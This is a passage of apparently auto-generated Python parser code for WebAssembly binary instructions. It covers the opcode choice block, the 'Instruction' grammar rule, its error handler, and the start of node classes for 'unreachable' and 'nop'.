_try_i32_add, _pos)) # End Ref if _status: break if (farthest_pos11 < _pos): farthest_pos11 = _pos farthest_err11 = _result _pos = backtrack24 # Option 92: # Begin Ref (_status, _result, _pos) = (yield (3, _try_i32_sub, _pos)) # End Ref if _status: break if (farthest_pos11 < _pos): farthest_pos11 = _pos farthest_err11 = _result _pos = backtrack24 # Option 93: # Begin Ref (_status, _result, _pos) = (yield (3, _try_i32_mul, _pos)) # End Ref if _status: break if (farthest_pos11 < _pos): farthest_pos11 = _pos farthest_err11 = _result _pos = backtrack24 # Option 94: # Begin Ref (_status, _result, _pos) = (yield (3, _try_i32_div_s, _pos)) # End Ref if _status: break if (farthest_pos11 < _pos): farthest_pos11 = _pos farthest_err11 = _result _pos = backtrack24 # Option 95: # Begin Ref (_status, _result, _pos) = (yield (3, _try_i32_div_u, _pos)) # End Ref if _status: break if (farthest_pos11 < _pos): farthest_pos11 = _pos farthest_err11 = _result _pos = backtrack24 # Option 96: # Begin Ref (_status, _result, _pos) = (yield (3, _try_i32_rem_s, _pos)) # End Ref if _status: break if (farthest_pos11 < _pos): farthest_pos11 = _pos farthest_err11 = _result _pos = backtrack24 # Option 97: # Begin Ref (_status, _result, _pos) = (yield (3, _try_i32_rem_u, _pos)) # End Ref if _status: break if (farthest_pos11 < _pos): farthest_pos11 = _pos farthest_err11 = _result _pos = backtrack24 # Option 98: # Begin Ref (_status, _result, _pos) = (yield (3, _try_i32_and, _pos)) # End Ref if _status: break if (farthest_pos11 < _pos): farthest_pos11 = _pos farthest_err11 = _result _pos = backtrack24 # Option 99: # Begin Ref (_status, _result, _pos) = (yield (3, _try_i32_or, _pos)) # End Ref if _status: break if (farthest_pos11 < _pos): farthest_pos11 = _pos farthest_err11 = _result _pos = backtrack24 # Option 100: # Begin Ref (_status, _result, _pos) = (yield (3, _try_i32_xor, _pos)) # End Ref if _status: break if (farthest_pos11 < _pos): farthest_pos11 = _pos farthest_err11 = _result _pos = backtrack24 # Option 101: # Begin Ref (_status, _result, _pos) = (yield (3, _try_i32_shl, _pos)) # End Ref if _status: break if (farthest_pos11 < _pos): farthest_pos11 = _pos farthest_err11 = _result _pos = backtrack24 # Option 102: # Begin Ref (_status, _result, _pos) = (yield (3, _try_i32_shr_s, _pos)) # End Ref if _status: break if (farthest_pos11 < _pos): farthest_pos11 = _pos farthest_err11 = _result _pos = backtrack24 # Option 103: # Begin Ref (_status, _result, _pos) = (yield (3, _try_i32_shr_u, _pos)) # End Ref if _status: break if (farthest_pos11 < _pos): farthest_pos11 = _pos farthest_err11 = _result _pos = backtrack24 # Option 104: # Begin Ref (_status, _result, _pos) = (yield (3, _try_i32_rotl, _pos)) # End Ref if _status: break if (farthest_pos11 < _pos): farthest_pos11 = _pos farthest_err11 = _result _pos = backtrack24 # Option 105: # Begin Ref (_status, _result, _pos) = (yield (3, _try_i32_rotr, _pos)) # End Ref if _status: break if (farthest_pos11 < _pos): farthest_pos11 = _pos farthest_err11 = _result _pos = backtrack24 # Option 106: # Begin Ref (_status, _result, _pos) = (yield (3, _try_i64_clz, _pos)) # End Ref if _status: break if (farthest_pos11 < _pos): farthest_pos11 = _pos farthest_err11 = _result _pos = backtrack24 # Option 107: # Begin Ref (_status, _result, _pos) = (yield (3, _try_i64_ctz, _pos)) # End Ref if _status: break if (farthest_pos11 < _pos): farthest_pos11 = _pos farthest_err11 = _result _pos = backtrack24 # Option 108: # Begin Ref (_status, _result, _pos) = (yield (3, _try_i64_popcnt, _pos)) # End Ref if _status: break if (farthest_pos11 < _pos): farthest_pos11 = _pos farthest_err11 = _result _pos = backtrack24 # Option 109: # Begin Ref (_status, _result, _pos) = (yield (3, _try_i64_add, _pos)) # End Ref if _status: break if (farthest_pos11 < _pos): farthest_pos11 = _pos farthest_err11 = _result _pos = backtrack24 # Option 110: # Begin Ref (_status, _result, _pos) = (yield (3, _try_i64_sub, _pos)) # End Ref if _status: break if (farthest_pos11 < _pos): farthest_pos11 = _pos farthest_err11 = _result _pos = backtrack24 # Option 111: # Begin Ref (_status, _result, _pos) = (yield (3, _try_i64_mul, _pos)) # End Ref if _status: break if (farthest_pos11 < _pos): farthest_pos11 = _pos farthest_err11 = _result _pos = backtrack24 # Option 112: # Begin Ref (_status, _result, _pos) = (yield (3, _try_i64_div_s, _pos)) # End Ref if _status: break if (farthest_pos11 < _pos): farthest_pos11 = _pos farthest_err11 = _result _pos = backtrack24 # Option 113: # Begin Ref (_status, _result, _pos) = (yield (3, _try_i64_div_u, _pos)) # End Ref if _status: break if (farthest_pos11 < _pos): farthest_pos11 = _pos farthest_err11 = _result _pos = backtrack24 # Option 114: # Begin Ref (_status, _result, _pos) = (yield (3, _try_i64_rem_s, _pos)) # End Ref if _status: break if (farthest_pos11 < _pos): farthest_pos11 = _pos farthest_err11 = _result _pos = backtrack24 # Option 115: # Begin Ref (_status, _result, _pos) = (yield (3, _try_i64_rem_u, _pos)) # End Ref if _status: break if (farthest_pos11 < _pos): farthest_pos11 = _pos farthest_err11 = _result _pos = backtrack24 # Option 116: # Begin Ref (_status, _result, _pos) = (yield (3, _try_i64_and, _pos)) # End Ref if _status: break if (farthest_pos11 < _pos): farthest_pos11 = _pos farthest_err11 = _result _pos = backtrack24 # Option 117: # Begin Ref (_status, _result, _pos) = (yield (3, _try_i64_or, _pos)) # End Ref if _status: break if (farthest_pos11 < _pos): farthest_pos11 = _pos farthest_err11 = _result _pos = backtrack24 # Option 118: # Begin Ref (_status, _result, _pos) = (yield (3, _try_i64_xor, _pos)) # End Ref if _status: break if (farthest_pos11 < _pos): farthest_pos11 = _pos farthest_err11 = _result _pos = backtrack24 # Option 119: # Begin Ref (_status, _result, _pos) = (yield (3, _try_i64_shl, _pos)) # End Ref if _status: break if (farthest_pos11 < _pos): farthest_pos11 = _pos farthest_err11 = _result _pos = backtrack24 # Option 120: # Begin Ref (_status, _result, _pos) = (yield (3, _try_i64_shr_s, _pos)) # End Ref if _status: break if (farthest_pos11 < _pos): farthest_pos11 = _pos farthest_err11 = _result _pos = backtrack24 # Option 121: # Begin Ref (_status, _result, _pos) = (yield (3, _try_i64_shr_u, _pos)) # End Ref if _status: break if (farthest_pos11 < _pos): farthest_pos11 = _pos farthest_err11 = _result _pos = backtrack24 # Option 122: # Begin Ref (_status, _result, _pos) = (yield (3, _try_i64_rotl, _pos)) # End Ref if _status: break if (farthest_pos11 < _pos): farthest_pos11 = _pos farthest_err11 = _result _pos = backtrack24 # Option 123: # Begin Ref (_status, _result, _pos) = (yield (3, _try_i64_rotr, _pos)) # End Ref if _status: break if (farthest_pos11 < _pos): farthest_pos11 = _pos farthest_err11 = _result _pos = backtrack24 # Option 124: # Begin Ref (_status, _result, _pos) = (yield (3, _try_f32_abs, _pos)) # End Ref if _status: break if (farthest_pos11 < _pos): farthest_pos11 = _pos farthest_err11 = _result _pos = backtrack24 # Option 125: # Begin Ref (_status, _result, _pos) = (yield (3, _try_f32_neg, _pos)) # End Ref if _status: break if (farthest_pos11 < _pos): farthest_pos11 = _pos farthest_err11 = _result _pos = backtrack24 # Option 126: # Begin Ref (_status, _result, _pos) = (yield (3, _try_f32_ceil, _pos)) # End Ref if _status: break if (farthest_pos11 < _pos): farthest_pos11 = _pos farthest_err11 = _result _pos = backtrack24 # Option 127: # Begin Ref (_status, _result, _pos) = (yield (3, _try_f32_floor, _pos)) # End Ref if _status: break if (farthest_pos11 < _pos): farthest_pos11 = _pos farthest_err11 = _result _pos = backtrack24 # Option 128: # Begin Ref (_status, _result, _pos) = (yield (3, _try_f32_trunc, _pos)) # End Ref if _status: break if (farthest_pos11 < _pos): farthest_pos11 = _pos farthest_err11 = _result _pos = backtrack24 # Option 129: # Begin Ref (_status, _result, _pos) = (yield (3, _try_f32_nearest, _pos)) # End Ref if _status: break if (farthest_pos11 < _pos): farthest_pos11 = _pos farthest_err11 = _result _pos = backtrack24 # Option 130: # Begin Ref (_status, _result, _pos) = (yield (3, _try_f32_sqrt, _pos)) # End Ref if _status: break if (farthest_pos11 < _pos): farthest_pos11 = _pos farthest_err11 = _result _pos = backtrack24 # Option 131: # Begin Ref (_status, _result, _pos) = (yield (3, _try_f32_add, _pos)) # End Ref if _status: break if (farthest_pos11 < _pos): farthest_pos11 = _pos farthest_err11 = _result _pos = backtrack24 # Option 132: # Begin Ref (_status, _result, _pos) = (yield (3, _try_f32_sub, _pos)) # End Ref if _status: break if (farthest_pos11 < _pos): farthest_pos11 = _pos farthest_err11 = _result _pos = backtrack24 # Option 133: # Begin Ref (_status, _result, _pos) = (yield (3, _try_f32_mul, _pos)) # End Ref if _status: break if (farthest_pos11 < _pos): farthest_pos11 = _pos farthest_err11 = _result _pos = backtrack24 # Option 134: # Begin Ref (_status, _result, _pos) = (yield (3, _try_f32_div, _pos)) # End Ref if _status: break if (farthest_pos11 < _pos): farthest_pos11 = _pos farthest_err11 = _result _pos = backtrack24 # Option 135: # Begin Ref (_status, _result, _pos) = (yield (3, _try_f32_min, _pos)) # End Ref if _status: break if (farthest_pos11 < _pos): farthest_pos11 = _pos farthest_err11 = _result _pos = backtrack24 # Option 136: # Begin Ref (_status, _result, _pos) = (yield (3, _try_f32_max, _pos)) # End Ref if _status: break if (farthest_pos11 < _pos): farthest_pos11 = _pos farthest_err11 = _result _pos = backtrack24 # Option 137: # Begin Ref (_status, _result, _pos) = (yield (3, _try_f32_copysign, _pos)) # End Ref if _status: break if (farthest_pos11 < _pos): farthest_pos11 = _pos farthest_err11 = _result _pos = backtrack24 # Option 138: # Begin Ref (_status, _result, _pos) = (yield (3, _try_f64_abs, _pos)) # End Ref if _status: break if (farthest_pos11 < _pos): farthest_pos11 = _pos farthest_err11 = _result _pos = backtrack24 # Option 139: # Begin Ref (_status, _result, _pos) = (yield (3, _try_f64_neg, _pos)) # End Ref if _status: break if (farthest_pos11 < _pos): farthest_pos11 = _pos farthest_err11 = _result _pos = backtrack24 # Option 140: # Begin Ref (_status, _result, _pos) = (yield (3, _try_f64_ceil, _pos)) # End Ref if _status: break if (farthest_pos11 < _pos): farthest_pos11 = _pos farthest_err11 = _result _pos = backtrack24 # Option 141: # Begin Ref (_status, _result, _pos) = (yield (3, _try_f64_floor, _pos)) # End Ref if _status: break if (farthest_pos11 < _pos): farthest_pos11 = _pos farthest_err11 = _result _pos = backtrack24 # Option 142: # Begin Ref (_status, _result, _pos) = (yield (3, _try_f64_trunc, _pos)) # End Ref if _status: break if (farthest_pos11 < _pos): farthest_pos11 = _pos farthest_err11 = _result _pos = backtrack24 # Option 143: # Begin Ref (_status, _result, _pos) = (yield (3, _try_f64_nearest, _pos)) # End Ref if _status: break if (farthest_pos11 < _pos): farthest_pos11 = _pos farthest_err11 = _result _pos = backtrack24 # Option 144: # Begin Ref (_status, _result, _pos) = (yield (3, _try_f64_sqrt, _pos)) # End Ref if _status: break if (farthest_pos11 < _pos): farthest_pos11 = _pos farthest_err11 = _result _pos = backtrack24 # Option 145: # Begin Ref (_status, _result, _pos) = (yield (3, _try_f64_add, _pos)) # End Ref if _status: break if (farthest_pos11 < _pos): farthest_pos11 = _pos farthest_err11 = _result _pos = backtrack24 # Option 146: # Begin Ref (_status, _result, _pos) = (yield (3, _try_f64_sub, _pos)) # End Ref if _status: break if (farthest_pos11 < _pos): farthest_pos11 = _pos farthest_err11 = _result _pos = backtrack24 # Option 147: # Begin Ref (_status, _result, _pos) = (yield (3, _try_f64_mul, _pos)) # End Ref if _status: break if (farthest_pos11 < _pos): farthest_pos11 = _pos farthest_err11 = _result _pos = backtrack24 # Option 148: # Begin Ref (_status, _result, _pos) = (yield (3, _try_f64_div, _pos)) # End Ref if _status: break if (farthest_pos11 < _pos): farthest_pos11 = _pos farthest_err11 = _result _pos = backtrack24 # Option 149: # Begin Ref (_status, _result, _pos) = (yield (3, _try_f64_min, _pos)) # End Ref if _status: break if (farthest_pos11 < _pos): farthest_pos11 = _pos farthest_err11 = _result _pos = backtrack24 # Option 150: # Begin Ref (_status, _result, _pos) = (yield (3, _try_f64_max, _pos)) # End Ref if _status: break if (farthest_pos11 < _pos): farthest_pos11 = _pos farthest_err11 = _result _pos = backtrack24 # Option 151: # Begin Ref (_status, _result, _pos) = (yield (3, _try_f64_copysign, _pos)) # End Ref if _status: break if (farthest_pos11 < _pos): farthest_pos11 = _pos farthest_err11 = _result _pos = backtrack24 # Option 152: # Begin Ref (_status, _result, _pos) = (yield (3, _try_i32_wrap_i64, _pos)) # End Ref if _status: break if (farthest_pos11 < _pos): farthest_pos11 = _pos farthest_err11 = _result _pos = backtrack24 # Option 153: # Begin Ref (_status, _result, _pos) = (yield (3, _try_i32_trunc_f32_s, _pos)) # End Ref if _status: break if (farthest_pos11 < _pos): farthest_pos11 = _pos farthest_err11 = _result _pos = backtrack24 # Option 154: # Begin Ref (_status, _result, _pos) = (yield (3, _try_i32_trunc_f32_u, _pos)) # End Ref if _status: break if (farthest_pos11 < _pos): farthest_pos11 = _pos farthest_err11 = _result _pos = backtrack24 # Option 155: # Begin Ref (_status, _result, _pos) = (yield (3, _try_i32_trunc_f64_s, _pos)) # End Ref if _status: break if (farthest_pos11 < _pos): farthest_pos11 = _pos farthest_err11 = _result _pos = backtrack24 # Option 156: # Begin Ref (_status, _result, _pos) = (yield (3, _try_i32_trunc_f64_u, _pos)) # End Ref if _status: break if (farthest_pos11 < _pos): farthest_pos11 = _pos farthest_err11 = _result _pos = backtrack24 # Option 157: # Begin Ref (_status, _result, _pos) = (yield (3, _try_i64_extend_i32_s, _pos)) # End Ref if _status: break if (farthest_pos11 < _pos): farthest_pos11 = _pos farthest_err11 = _result _pos = backtrack24 # Option 158: # Begin Ref (_status, _result, _pos) = (yield (3, _try_i64_extend_i32_u, _pos)) # End Ref if _status: break if (farthest_pos11 < _pos): farthest_pos11 = _pos farthest_err11 = _result _pos = backtrack24 # Option 159: # Begin Ref (_status, _result, _pos) = (yield (3, _try_i64_trunc_f32_s, _pos)) # End Ref if _status: break if (farthest_pos11 < _pos): farthest_pos11 = _pos farthest_err11 = _result _pos = backtrack24 # Option 160: # Begin Ref (_status, _result, _pos) = (yield (3, _try_i64_trunc_f32_u, _pos)) # End Ref if _status: break if (farthest_pos11 < _pos): farthest_pos11 = _pos farthest_err11 = _result _pos = backtrack24 # Option 161: # Begin Ref (_status, _result, _pos) = (yield (3, _try_i64_trunc_f64_s, _pos)) # End Ref if _status: break if (farthest_pos11 < _pos): farthest_pos11 = _pos farthest_err11 = _result _pos = backtrack24 # Option 162: # Begin Ref (_status, _result, _pos) = (yield (3, _try_i64_trunc_f64_u, _pos)) # End Ref if _status: break if (farthest_pos11 < _pos): farthest_pos11 = _pos farthest_err11 = _result _pos = backtrack24 # Option 163: # Begin Ref (_status, _result, _pos) = (yield (3, _try_f32_convert_i32_s, _pos)) # End Ref if _status: break if (farthest_pos11 < _pos): farthest_pos11 = _pos farthest_err11 = _result _pos = backtrack24 # Option 164: # Begin Ref (_status, _result, _pos) = (yield (3, _try_f32_convert_i32_u, _pos)) # End Ref if _status: break if (farthest_pos11 < _pos): farthest_pos11 = _pos farthest_err11 = _result _pos = backtrack24 # Option 165: # Begin Ref (_status, _result, _pos) = (yield (3, _try_f32_convert_i64_s, _pos)) # End Ref if _status: break if (farthest_pos11 < _pos): farthest_pos11 = _pos farthest_err11 = _result _pos = backtrack24 # Option 166: # Begin Ref (_status, _result, _pos) = (yield (3, _try_f32_convert_i64_u, _pos)) # End Ref if _status: break if (farthest_pos11 < _pos): farthest_pos11 = _pos farthest_err11 = _result _pos = backtrack24 # Option 167: # Begin Ref (_status, _result, _pos) = (yield (3, _try_f32_demote_f64, _pos)) # End Ref if _status: break if (farthest_pos11 < _pos): farthest_pos11 = _pos farthest_err11 = _result _pos = backtrack24 # Option 168: # Begin Ref (_status, _result, _pos) = (yield (3, _try_f64_convert_i32_s, _pos)) # End Ref if _status: break if (farthest_pos11 < _pos): farthest_pos11 = _pos farthest_err11 = _result _pos = backtrack24 # Option 169: # Begin Ref (_status, _result, _pos) = (yield (3, _try_f64_convert_i32_u, _pos)) # End Ref if _status: break if (farthest_pos11 < _pos): farthest_pos11 = _pos farthest_err11 = _result _pos = backtrack24 # Option 170: # Begin Ref (_status, _result, _pos) = (yield (3, _try_f64_convert_i64_s, _pos)) # End Ref if _status: break if (farthest_pos11 < _pos): farthest_pos11 = _pos farthest_err11 = _result _pos = backtrack24 # Option 171: # Begin Ref (_status, _result, _pos) = (yield (3, _try_f64_convert_i64_u, _pos)) # End Ref if _status: break if (farthest_pos11 < _pos): farthest_pos11 = _pos farthest_err11 = _result _pos = backtrack24 # Option 172: # Begin Ref (_status, _result, _pos) = (yield (3, _try_f64_promote_f32, _pos)) # End Ref if _status: break if (farthest_pos11 < _pos): farthest_pos11 = _pos farthest_err11 = _result _pos = backtrack24 # Option 173: # Begin Ref (_status, _result, _pos) = (yield (3, _try_i32_reinterpret_f32, _pos)) # End Ref if _status: break if (farthest_pos11 < _pos): farthest_pos11 = _pos farthest_err11 = _result _pos = backtrack24 # Option 174: # Begin Ref (_status, _result, _pos) = (yield (3, _try_i64_reinterpret_f64, _pos)) # End Ref if _status: break if (farthest_pos11 < _pos): farthest_pos11 = _pos farthest_err11 = _result _pos = backtrack24 # Option 175: # Begin Ref (_status, _result, _pos) = (yield (3, _try_f32_reinterpret_i32, _pos)) # End Ref if _status: break if (farthest_pos11 < _pos): farthest_pos11 = _pos farthest_err11 = _result _pos = backtrack24 # Option 176: # Begin Ref (_status, _result, _pos) = (yield (3, _try_f64_reinterpret_i64, _pos)) # End Ref if _status: break if (farthest_pos11 < _pos): farthest_pos11 = _pos farthest_err11 = _result _pos = backtrack24 # Option 177: # Begin Ref (_status, _result, _pos) = (yield (3, _try_i32_extend8_s, _pos)) # End Ref if _status: break if (farthest_pos11 < _pos): farthest_pos11 = _pos farthest_err11 = _result _pos = backtrack24 # Option 178: # Begin Ref (_status, _result, _pos) = (yield (3, _try_i32_extend16_s, _pos)) # End Ref if _status: break if (farthest_pos11 < _pos): farthest_pos11 = _pos farthest_err11 = _result _pos = backtrack24 # Option 179: # Begin Ref (_status, _result, _pos) = (yield (3, _try_i64_extend8_s, _pos)) # End Ref if _status: break if (farthest_pos11 < _pos): farthest_pos11 = _pos farthest_err11 = _result _pos = backtrack24 # Option 180: # Begin Ref (_status, _result, _pos) = (yield (3, _try_i64_extend16_s, _pos)) # End Ref if _status: break if (farthest_pos11 < _pos): farthest_pos11 = _pos farthest_err11 = _result _pos = backtrack24 # Option 181: # Begin Ref (_status, _result, _pos) = (yield (3, _try_i64_extend32_s, _pos)) # End Ref if _status: break if (farthest_pos11 < _pos): farthest_pos11 = _pos farthest_err11 = _result _pos = backtrack24 # Option 182: # Begin Ref (_status, _result, _pos) = (yield (3, _try_i32_trunc_sat_f32_s, _pos)) # End Ref if _status: break if (farthest_pos11 < _pos): farthest_pos11 = _pos farthest_err11 = _result _pos = backtrack24 # Option 183: # Begin Ref (_status, _result, _pos) = (yield (3, _try_i32_trunc_sat_f32_u, _pos)) # End Ref if _status: break if (farthest_pos11 < _pos): farthest_pos11 = _pos farthest_err11 = _result _pos = backtrack24 # Option 184: # Begin Ref (_status, _result, _pos) = (yield (3, _try_i32_trunc_sat_f64_s, _pos)) # End Ref if _status: break if (farthest_pos11 < _pos): farthest_pos11 = _pos farthest_err11 = _result _pos = backtrack24 # Option 185: # Begin Ref (_status, _result, _pos) = (yield (3, _try_i32_trunc_sat_f64_u, _pos)) # End Ref if _status: break if (farthest_pos11 < _pos): farthest_pos11 = _pos farthest_err11 = _result _pos = backtrack24 # Option 186: # Begin Ref (_status, _result, _pos) = (yield (3, _try_i64_trunc_sat_f32_s, _pos)) # End Ref if _status: break if (farthest_pos11 < _pos): farthest_pos11 = _pos farthest_err11 = _result _pos = backtrack24 # Option 187: # Begin Ref (_status, _result, _pos) = (yield (3, _try_i64_trunc_sat_f32_u, _pos)) # End Ref if _status: break if (farthest_pos11 < _pos): farthest_pos11 = _pos farthest_err11 = _result _pos = backtrack24 # Option 188: # Begin Ref (_status, _result, _pos) = (yield (3, _try_i64_trunc_sat_f64_s, _pos)) # End Ref if _status: break if (farthest_pos11 < _pos): farthest_pos11 = _pos farthest_err11 = _result _pos = backtrack24 # Option 189: # Begin Ref (_status, _result, _pos) = (yield (3, _try_i64_trunc_sat_f64_u, _pos)) # End Ref if _status: break if (farthest_pos11 < _pos): farthest_pos11 = _pos farthest_err11 = _result _pos = backtrack24 # Option 190: # Begin Ref (_status, _result, _pos) = (yield (3, _try_memory_init, _pos)) # End Ref if _status: break if (farthest_pos11 < _pos): farthest_pos11 = _pos farthest_err11 = _result _pos = backtrack24 # Option 191: # Begin Ref (_status, _result, _pos) = (yield (3, _try_data_drop, _pos)) # End Ref if _status: break if (farthest_pos11 < _pos): farthest_pos11 = _pos farthest_err11 = _result _pos = backtrack24 # Option 192: # Begin Ref (_status, _result, _pos) = (yield (3, _try_memory_copy, _pos)) # End Ref if _status: break if (farthest_pos11 < _pos): farthest_pos11 = _pos farthest_err11 = _result _pos = backtrack24 # Option 193: # Begin Ref (_status, _result, _pos) = (yield (3, _try_memory_fill, _pos)) # End Ref if _status: break if (farthest_pos11 < _pos): farthest_pos11 = _pos farthest_err11 = _result _pos = backtrack24 # Option 194: # Begin Ref (_status, _result, _pos) = (yield (3, _try_table_init, _pos)) # End Ref if _status: break if (farthest_pos11 < _pos): farthest_pos11 = _pos farthest_err11 = _result _pos = backtrack24 # Option 195: # Begin Ref (_status, _result, _pos) = (yield (3, _try_elem_drop, _pos)) # End Ref if _status: break if (farthest_pos11 < _pos): farthest_pos11 = _pos farthest_err11 = _result _pos = backtrack24 # Option 196: # Begin Ref (_status, _result, _pos) = (yield (3, _try_table_copy, _pos)) # End Ref if _status: break if (farthest_pos11 < _pos): farthest_pos11 = _pos farthest_err11 = _result _pos = backtrack24 # Option 197: # Begin Ref (_status, _result, _pos) = (yield (3, _try_table_grow, _pos)) # End Ref if _status: break if (farthest_pos11 < _pos): farthest_pos11 = _pos farthest_err11 = _result _pos = backtrack24 # Option 198: # Begin Ref (_status, _result, _pos) = (yield (3, _try_table_size, _pos)) # End Ref if _status: break if (farthest_pos11 < _pos): farthest_pos11 = _pos farthest_err11 = _result _pos = backtrack24 # Option 199: # Begin Ref (_status, _result, _pos) = (yield (3, _try_table_fill, _pos)) # End Ref if _status: break if (farthest_pos11 < _pos): farthest_pos11 = _pos farthest_err11 = _result _pos = farthest_pos11 _result = farthest_err11 break # End Choice yield (_status, _result, _pos) def _parse_Instruction(text, pos=0, fullparse=True): return _run(text, pos, _try_Instruction, fullparse) Instruction = Rule('Instruction', _parse_Instruction, """ Instruction = unreachable | nop | Block | Loop | If | br | br_if | br_table | ret | call | call_indirect | ref_null | ref_is_null | ref_func | drop | select | select_t | local_get | local_set | local_tee | global_get | global_set | table_get | table_set | i32_load | i64_load | f32_load | f64_load | i32_load8_s | i32_load8_u | i32_load16_s | i32_load16_u | i64_load8_s | i64_load8_u | i64_load16_s | i64_load16_u | i64_load32_s | i64_load32_u | i32_store | i64_store | f32_store | f64_store | i32_store8 | i32_store16 | i64_store8 | i64_store16 | i64_store32 | memory_size | memory_grow | i32_const | i64_const | f32_const | f64_const | i32_eqz | i32_eq | i32_ne | i32_lt_s | i32_lt_u | i32_gt_s | i32_gt_u | i32_le_s | i32_le_u | i32_ge_s | i32_ge_u | i64_eqz | i64_eq | i64_ne | i64_lt_s | i64_lt_u | i64_gt_s | i64_gt_u | i64_le_s | i64_le_u | i64_ge_s | i64_ge_u | f32_eq | f32_ne | f32_lt | f32_gt | f32_le | f32_ge | f64_eq | f64_ne | f64_lt | f64_gt | f64_le | f64_ge | i32_clz | i32_ctz | i32_popcnt | i32_add | i32_sub | i32_mul | i32_div_s | i32_div_u | i32_rem_s | i32_rem_u | i32_and | i32_or | i32_xor | i32_shl | i32_shr_s | i32_shr_u | i32_rotl | i32_rotr | i64_clz | i64_ctz | i64_popcnt | i64_add | i64_sub | i64_mul | i64_div_s | i64_div_u | i64_rem_s | i64_rem_u | i64_and | i64_or | i64_xor | i64_shl | i64_shr_s | i64_shr_u | i64_rotl | i64_rotr | f32_abs | f32_neg | f32_ceil | f32_floor | f32_trunc | f32_nearest | f32_sqrt | f32_add | f32_sub | f32_mul | f32_div | f32_min | f32_max | f32_copysign | f64_abs | f64_neg | f64_ceil | f64_floor | f64_trunc | f64_nearest | f64_sqrt | f64_add | f64_sub | f64_mul | f64_div | f64_min | f64_max | f64_copysign | i32_wrap_i64 | i32_trunc_f32_s | i32_trunc_f32_u | i32_trunc_f64_s | i32_trunc_f64_u | i64_extend_i32_s | i64_extend_i32_u | i64_trunc_f32_s | i64_trunc_f32_u | i64_trunc_f64_s | i64_trunc_f64_u | f32_convert_i32_s | f32_convert_i32_u | f32_convert_i64_s | f32_convert_i64_u | f32_demote_f64 | f64_convert_i32_s | f64_convert_i32_u | f64_convert_i64_s | f64_convert_i64_u | f64_promote_f32 | i32_reinterpret_f32 | i64_reinterpret_f64 | f32_reinterpret_i32 | f64_reinterpret_i64 | i32_extend8_s | i32_extend16_s | i64_extend8_s | i64_extend16_s | i64_extend32_s | i32_trunc_sat_f32_s | i32_trunc_sat_f32_u | i32_trunc_sat_f64_s | i32_trunc_sat_f64_u | i64_trunc_sat_f32_s | i64_trunc_sat_f32_u | i64_trunc_sat_f64_s | i64_trunc_sat_f64_u | memory_init | data_drop | memory_copy | memory_fill | table_init | elem_drop | table_copy | table_grow | table_size | table_fill """) def _raise_error609(_text, _pos): if (len(_text) <= _pos): title = 'Unexpected end of input.' line = None col = None else: (line, col) = _get_line_and_column(_text, _pos) excerpt = _extract_excerpt(_text, _pos, col) title = f'Error on line {line}, column {col}:\n{excerpt}\n' details = ( "Failed to parse the 'Instruction' rule, at the expression:\n" ' unreachable | nop | Block | Loop | If | br | br_if | br_table | ret | call | call_indirect | ref_null | ref_is_null | ref_func | drop | select | select_t | local_get | local_set | local_tee | global_get | global_set | table_get | table_set | i32_load | i64_load | f32_load | f64_load | i32_load8_s | i32_load8_u | i32_load16_s | i32_load16_u | i64_load8_s | i64_load8_u | i64_load16_s | i64_load16_u | i64_load32_s | i64_load32_u | i32_store | i64_store | f32_store | f64_store | i32_store8 | i32_store16 | i64_store8 | i64_store16 | i64_store32 | memory_size | memory_grow | i32_const | i64_const | f32_const | f64_const | i32_eqz | i32_eq | i32_ne | i32_lt_s | i32_lt_u | i32_gt_s | i32_gt_u | i32_le_s | i32_le_u | i32_ge_s | i32_ge_u | i64_eqz | i64_eq | i64_ne | i64_lt_s | i64_lt_u | i64_gt_s | i64_gt_u | i64_le_s | i64_le_u | i64_ge_s | i64_ge_u | f32_eq | f32_ne | f32_lt | f32_gt | f32_le | f32_ge | f64_eq | f64_ne | f64_lt | f64_gt | f64_le | f64_ge | i32_clz | i32_ctz | i32_popcnt | i32_add | i32_sub | i32_mul | i32_div_s | i32_div_u | i32_rem_s | i32_rem_u | i32_and | i32_or | i32_xor | i32_shl | i32_shr_s | i32_shr_u | i32_rotl | i32_rotr | i64_clz | i64_ctz | i64_popcnt | i64_add | i64_sub | i64_mul | i64_div_s | i64_div_u | i64_rem_s | i64_rem_u | i64_and | i64_or | i64_xor | i64_shl | i64_shr_s | i64_shr_u | i64_rotl | i64_rotr | f32_abs | f32_neg | f32_ceil | f32_floor | f32_trunc | f32_nearest | f32_sqrt | f32_add | f32_sub | f32_mul | f32_div | f32_min | f32_max | f32_copysign | f64_abs | f64_neg | f64_ceil | f64_floor | f64_trunc | f64_nearest | f64_sqrt | f64_add | f64_sub | f64_mul | f64_div | f64_min | f64_max | f64_copysign | i32_wrap_i64 | i32_trunc_f32_s | i32_trunc_f32_u | i32_trunc_f64_s | i32_trunc_f64_u | i64_extend_i32_s | i64_extend_i32_u | i64_trunc_f32_s | i64_trunc_f32_u | i64_trunc_f64_s | i64_trunc_f64_u | f32_convert_i32_s | f32_convert_i32_u | f32_convert_i64_s | f32_convert_i64_u | f32_demote_f64 | f64_convert_i32_s | f64_convert_i32_u | f64_convert_i64_s | f64_convert_i64_u | f64_promote_f32 | i32_reinterpret_f32 | i64_reinterpret_f64 | f32_reinterpret_i32 | f64_reinterpret_i64 | i32_extend8_s | i32_extend16_s | i64_extend8_s | i64_extend16_s | i64_extend32_s | i32_trunc_sat_f32_s | i32_trunc_sat_f32_u | i32_trunc_sat_f64_s | i32_trunc_sat_f64_u | i64_trunc_sat_f32_s | i64_trunc_sat_f32_u | i64_trunc_sat_f64_s | i64_trunc_sat_f64_u | memory_init | data_drop | memory_copy | memory_fill | table_init | elem_drop | table_copy | table_grow | table_size | table_fill\n\n' 'Unexpected input' ) raise ParseError((title + details), _pos, line, col) class unreachable(Node): """ class unreachable { let id: 0x0 } """ _fields = () id = 0x0 def __init__(self): Node.__init__(self) def __repr__(self): return f'unreachable()' @staticmethod def parse(text, pos=0, fullparse=True): return _run(text, pos, _try_unreachable, fullparse) def _try_unreachable(_text, _pos): # Begin Seq start_pos46 = _pos while True: # Begin Byte # 0x0 if (_pos < len(_text)) and (_text[_pos] == 0): _result = 0 _pos = (_pos + 1) _status = True else: _result = _raise_error812 _status = False # End Byte if not (_status): break id = _result _result = unreachable() _result._metadata.position_info = (start_pos46, _pos) break # End Seq yield (_status, _result, _pos) def _raise_error812(_text, _pos): if (len(_text) <= _pos): title = 'Unexpected end of input.' line = None col = None else: (line, col) = _get_line_and_column(_text, _pos) excerpt = _extract_excerpt(_text, _pos, col) title = f'Error on line {line}, column {col}:\n{excerpt}\n' details = ( "Failed to parse the 'unreachable' rule, at the expression:\n" ' 0x0\n\n' 'Expected to match the byte value 0x0' ) raise ParseError((title + details), _pos, line, col) class nop(Node): """ class nop { let id: 0x1 } """ _fields 